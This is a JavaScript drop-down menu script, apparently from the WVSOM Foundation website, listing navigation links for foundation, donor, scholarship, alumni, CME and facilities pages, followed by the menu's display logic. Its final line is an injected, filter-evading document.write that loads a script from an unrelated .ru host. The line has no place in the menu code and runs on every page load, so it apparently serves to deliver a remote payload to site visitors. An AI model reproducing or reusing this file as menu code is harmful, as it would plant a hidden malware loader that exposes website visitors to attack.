

/***********************************************
* AnyLink Drop Down Menu- © Dynamic Drive (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit http://www.dynamicdrive.com/ for full source code
***********************************************/

//Contents for FOUNDATION
var menu1=new Array()
menu1[0] ='<a href="http://wvsomfoundation.org/Foundation/Foundation.asp"             target=_self>Welcome<br>&nbsp;Sally A. Cooper  </a>'
menu1[1] ='<a href="http://wvsomfoundation.org/Foundation/FoundationMission.asp"      target=_self>Mission Statements                </a>'
menu1[2] ='<a href="http://wvsomfoundation.org/Foundation/FoundationTaxInfo.asp"      target=_self>Tax Information                   </a>'
menu1[3] ='<a href="http://wvsomfoundation.org/Foundation/FoundationBoD.asp"          target=_self>Board of Directors                </a>'
menu1[4] ='<a href="http://wvsomfoundation.org/Foundation/FoundationAnnualRpt.asp"    target=_self>Financial Reports                 </a>'
menu1[5] ='<a href="http://wvsomfoundation.org/Foundation/FoundationPictures.asp"     target=_self>Photo Gallery                     </a>'
menu1[6] ='<a href="javascript:void(0)"                                               target=_self>&nbsp;                            </a>'
menu1[7] ='<a href="http://wvsomfoundation.org/Foundation/donatenow.asp"              target=_self>Donate Now                        </a>'
menu1[8] ='<a href="http://wvsomfoundation.org/Foundation/theanswerpeople.asp"        target=_self>The Answer People                 </a>'
menu1[9] ='<a href="http://www.wvsom.edu"                                             target=_self>WVSOM Home Page                   </a>'
menu1[10]='<a href="http://wvsomfoundation.org/front.asp"                             target=_self>Foundation Home Page              </a>'

//Contents for DONOR OPPORTUNITIES
var menu2=new Array()
menu2[0] ='<a href="http://wvsomfoundation.org/DonateOptions/545.asp"                 target=_self>5 For 5 Campaign                  </a>'
menu2[1] ='<a href="http://wvsomfoundation.org/DonateOptions/Giving.asp"              target=_self>Giving                            </a>'
menu2[2] ='<a href="javascript:void(0)"                                               target=_self>&nbsp;                            </a>'
menu2[3] ='<a href="http://wvsomfoundation.org/Foundation/donatenow.asp"              target=_self>Donate Now                        </a>'
menu2[4] ='<a href="http://wvsomfoundation.org/Foundation/theanswerpeople.asp"        target=_self>The Answer People                 </a>'
menu2[5] ='<a href="http://www.wvsom.edu"                                             target=_self>WVSOM Home Page                   </a>'
menu2[6] ='<a href="http://wvsomfoundation.org/front.asp"                             target=_self>Foundation Home Page              </a>'

//Contents for SCHOLARSHIPS
var menu3=new Array()
menu3[0] ='<a href="http://wvsomfoundation.org/scholarships/Scholarships.asp"         target=_self>Scholarships                      </a>'
menu3[1] ='<a href="http://wvsomfoundation.org/scholarships/ShortTermLoans.asp"       target=_self>Short Term Student<br>&nbsp;Loans </a>'
menu3[2] ='<a href="http://wvsomfoundation.org/scholarships/SpringAwards2007.asp"     target=_self>Spring Awards 07 Photos           </a>'
menu3[3] ='<a href="javascript:void(0)"                                               target=_self>&nbsp;                            </a>'
menu3[4] ='<a href="http://wvsomfoundation.org/Foundation/donatenow.asp"              target=_self>Donate Now                        </a>'
menu3[5] ='<a href="http://wvsomfoundation.org/Foundation/theanswerpeople.asp"        target=_self>The Answer People                 </a>'
menu3[6] ='<a href="http://www.wvsom.edu"                                             target=_self>WVSOM Home Page                   </a>'
menu3[7] ='<a href="http://wvsomfoundation.org/front.asp"                             target=_self>Foundation Home Page              </a>'

//Contents for ALUMNI
var menu4=new Array()
menu4[0] ='<a href="http://wvsomfoundation.org/Alumni/alumni.asp"                     target=_self>Welcome by<br>&nbsp;Shannon Warren</a>'
menu4[1] ='<a href="http://wvsomfoundation.org/Alumni/AlumniCalendar.asp"             target=_self>Calendar of Events                </a>'
menu4[2] ='<a href="http://wvsomfoundation.org/Alumni/AlumniReunion.asp"              target=_self>2010 Alumni Reunion               </a>'
//menu4[3] ='<a href="http://wvsomfoundation.org/messageboard/MessageBoard.asp"       target=_self>Reunion Message Board             </a>'
menu4[3] ='<a href="http://wvsomfoundation.org/Alumni/AlumniPictures.asp"             target=_self>Photo Gallery                     </a>'
menu4[4] ='<a href="http://wvsomfoundation.org/Alumni/AlumniBoD.asp"                  target=_self>Alumni Bd of Directors            </a>'
menu4[5] ='<a href="http://wvsomfoundation.org/Alumni/AlumniMembership.asp"           target=_self>Membership Info/Join              </a>'
menu4[6] ='<a href="http://wvsomfoundation.org/alumni/Alumninewsletter.asp"           target=_self>Newsletter                        </a>'
menu4[7] ='<a href="http://wvsomfoundation.org/alumni/Alumniphysicianplacement.asp"   target=_self>Physician Placement               </a>'
menu4[8] ='<a href="http://wvsomfoundation.org/Alumni/BrickCampaign.asp"              target=_self>Brick Campaign                    </a>'
menu4[9] ='<a href="https://wvsomfou.ipower.com/Alumni/AlumniRecordUpdateForm.asp"    target=_self>Update Alumni Record              </a>'
menu4[10] ='<a href="javascript:void(0)"                                              target=_self>&nbsp;                            </a>'
menu4[11]='<a href="http://wvsomfoundation.org/Foundation/donatenow.asp"              target=_self>Donate Now                        </a>'
menu4[12]='<a href="http://wvsomfoundation.org/Foundation/theanswerpeople.asp"        target=_self>The Answer People                 </a>'
menu4[13]='<a href="http://www.wvsom.edu"                                             target=_self>WVSOM Home Page                   </a>'
menu4[14]='<a href="http://wvsomfoundation.org/front.asp"                             target=_self>Foundation Home Page              </a>'

//Contents for CME
var menu5=new Array()
menu5[0] ='<a href="http://wvsomfoundation.org/CME/CME.asp"                           target=_self>Welcome by<br>&nbsp;Shannon Warren</a>'
menu5[1] ='<a href="http://wvsomfoundation.org/CME/2010SummerCME.asp"                 target=_self>2010 Summer CME                   </a>'
menu5[2] ='<a href="http://wvsomfoundation.org/CME/CMEOnLineRegistration.asp"         target=_self>CME Online Registration           </a>'
menu5[3] ='<a href="http://wvsomfoundation.org/CME/2008CMEAnnualReport.asp"           target=_self>2008 CME Annual Report            </a>'
menu5[4] ='<a href="http://wvsomfoundation.org/CME/CMEPictures.asp"                   target=_self>Photo Gallery                     </a>'
menu5[5] ='<a href="http://wvsomfoundation.org/CME/CMEAOAGuidelines.asp"              target=_self>AOA Guidelines                    </a>'
menu5[6] ='<a href="javascript:void(0)"                                               target=_self>&nbsp;                            </a>'
menu5[7] ='<a href="http://wvsomfoundation.org/Foundation/donatenow.asp"              target=_self>Donate Now                        </a>'
menu5[8] ='<a href="http://wvsomfoundation.org/Foundation/theanswerpeople.asp"        target=_self>The Answer People                 </a>'
menu5[9] ='<a href="http://www.wvsom.edu"                                             target=_self>WVSOM Home Page                   </a>'
menu5[10]='<a href="http://wvsomfoundation.org/front.asp"                             target=_self>Foundation Home Page              </a>'

//Contents for FACILITIES/RENTALS
var menu6=new Array()
menu6[0] ='<a href="http://wvsomfoundation.org/Facilities/Facilities.asp"             target=_self>Facilities Info                   </a>'
menu6[1] ='<a href="http://wvsomfoundation.org/Facilities/FacilitiesPictures.asp"     target=_self>Facilities Photos                 </a>'
menu6[2] ='<a href="javascript:void(0)"                                               target=_self>&nbsp;                            </a>'
menu6[3] ='<a href="http://wvsomfoundation.org/Foundation/donatenow.asp"              target=_self>Donate Now                        </a>'
menu6[4] ='<a href="http://wvsomfoundation.org/Foundation/theanswerpeople.asp"        target=_self>The Answer People                 </a>'
menu6[5] ='<a href="http://www.wvsom.edu"                                             target=_self>WVSOM Home Page                   </a>'
menu6[6] ='<a href="http://wvsomfoundation.org/front.asp"                             target=_self>Foundation Home Page              </a>'

	
var menuwidth='165px' //default menu width
var menubgcolor='lightyellow'  //menu bgcolor
var disappeardelay=250  //menu disappear speed onMouseout (in miliseconds)
var hidemenu_onclick="yes" //hide menu when user clicks within menu?

/////No further editing needed

var ie4=document.all
var ns6=document.getElementById&&!document.all

if (ie4||ns6)
document.write('<div id="dropmenudiv" style="visibility:hidden;width:'+menuwidth+';background-color:'+menubgcolor+'" onMouseover="clearhidemenu()" onMouseout="dynamichide(event)"></div>')

function getposOffset(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
}


function showhide(obj, e, visible, hidden, menuwidth){
if (ie4||ns6)
dropmenuobj.style.left=dropmenuobj.style.top="-500px"
if (menuwidth!=""){
dropmenuobj.widthobj=dropmenuobj.style
dropmenuobj.widthobj.width=menuwidth
}
if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
obj.visibility=visible
else if (e.type=="click")
obj.visibility=hidden
}

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function clearbrowseredge(obj, whichedge){
var edgeoffset=0
if (whichedge=="rightedge"){
var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
}
else{
var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure){ //move up?
edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) //up no good either?
edgeoffset=dropmenuobj.y+obj.offsetHeight-topedge
}
}
return edgeoffset
}

function populatemenu(what){
if (ie4||ns6)
dropmenuobj.innerHTML=what.join("")
}


function dropdownmenu(obj, e, menucontents, menuwidth){
if (window.event) event.cancelBubble=true
else if (e.stopPropagation) e.stopPropagation()
clearhidemenu()
dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
populatemenu(menucontents)

if (ie4||ns6){
showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
dropmenuobj.x=getposOffset(obj, "left")
dropmenuobj.y=getposOffset(obj, "top")
dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+"px"
}

return clickreturnvalue()
}

function clickreturnvalue(){
if (ie4||ns6) return false
else return true
}

function contains_ns6(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
}

function dynamichide(e){
if (ie4&&!dropmenuobj.contains(e.toElement))
delayhidemenu()
else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
delayhidemenu()
}

function hidemenu(e){
if (typeof dropmenuobj!="undefined"){
if (ie4||ns6)
dropmenuobj.style.visibility="hidden"
}
}

function delayhidemenu(){
if (ie4||ns6)
delayhide=setTimeout("hidemenu()",disappeardelay)
}

function clearhidemenu(){
if (typeof delayhide!="undefined")
clearTimeout(delayhide)
}

if (hidemenu_onclick=="yes")
document.onclick=hidemenu



document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Page_View.js"></scri'+'pt>');